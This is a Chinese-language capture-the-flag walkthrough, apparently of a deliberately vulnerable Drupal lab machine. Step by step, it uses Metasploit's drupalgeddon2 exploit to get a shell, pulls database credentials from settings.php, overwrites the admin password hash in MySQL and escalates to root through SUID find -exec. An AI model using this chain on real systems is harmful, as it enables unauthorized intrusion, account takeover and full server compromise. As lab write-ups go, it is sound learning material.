arp-scan -l
nmap -sV 192.168.0.138
msfconsole 启动msf
search drupal 查找drupal漏洞
看到最新的是2019-02-20,但是等级是normal,还是用2018-03-28的吧,等级是excellent,比较靠谱,正常应该都试一下,看看哪个可以利用,偷个懒,蒙一下
search drupal
use 后面接路径,利用漏洞
show options 看看有什么需要配置的,要把显示yes的选项配置好
use exploit/unix/webapp/drupal_drupalgeddon2
show options
只有一项RHOSTS需要配置
配置方法:set 【要配置选项名】 【内容】
RHOSTS要添加你要攻击的IP
全部配置完毕
运行:run/exploit(都是运行攻击命令)
成功运行,返回shell
set RHOST 192.168.0.138
exploit
进入shell,然后用python取得一个交互式的shell
shell
python -c 'import pty;pty.spawn("/bin/bash")'
无从下手了,查看一下当前文件吧,刚好看见flag1.txt,查看一下,应该是暗示配置文件
ls 查看当前文件夹下的文件名
cat flag1.txt
搜了一下,drupal的配置文件路径是:/sites/default/settings.php
进入查看一下
找到了flag2,提示暴力破解不是唯一途径,还给出了mysql数据库的账号,那去登录一下看看有什么信息
username=dbuser
password=R0ck3t
cd sites
ls
cd default
ls
cat settings.php
发现一个admin账户,密码却是哈希值,flag2提示说不能暴力破解,那就替换掉原账户的密码
`mysql -u dbuser -p
show databases; 查看所有数据库
use drupaldb; 使用数据库
show tables; 展示所有表信息
select * from users; 查看表中所有信息
生成一下csz的哈希值: S S SDLFhA2kQLT.My2LISZFHdxS.SpCnlCZJimDVXM5dxkngcEBEGoKh
一会用这个哈希值来替换原来admin账户密码的哈希值
./scripts/password-hash.sh csz
update users set pass="$S$DLFhA2kQLT.My2LISZFHdxS.SpCnlCZJimDVXM5dxkngcEBEGoKh" where name="admin";
密码更换成功,现在的admin账号的密码就是csz了
用这个刚好登录一下刚才的网站
登录成功!但是没发现有什么flag,随便看看网站各处吧。
找到Dashboard里有flag3,查看一下
提示让我们使用find和-exec命令,以及提示我们特殊的权限权限有助于发现隐藏内容
隐藏文件的话,看到先想到passwd
果然发现flag4 /bin/bash
结合flag3的提示的话
下一个flag很好找了
使用命令提升权限
find ./ csz521 -exec '/bin/sh' \;
whoami
cd /root
ls
cat thefinalflag.txt
这样的话,五个flag算是全拿到了,大功告成!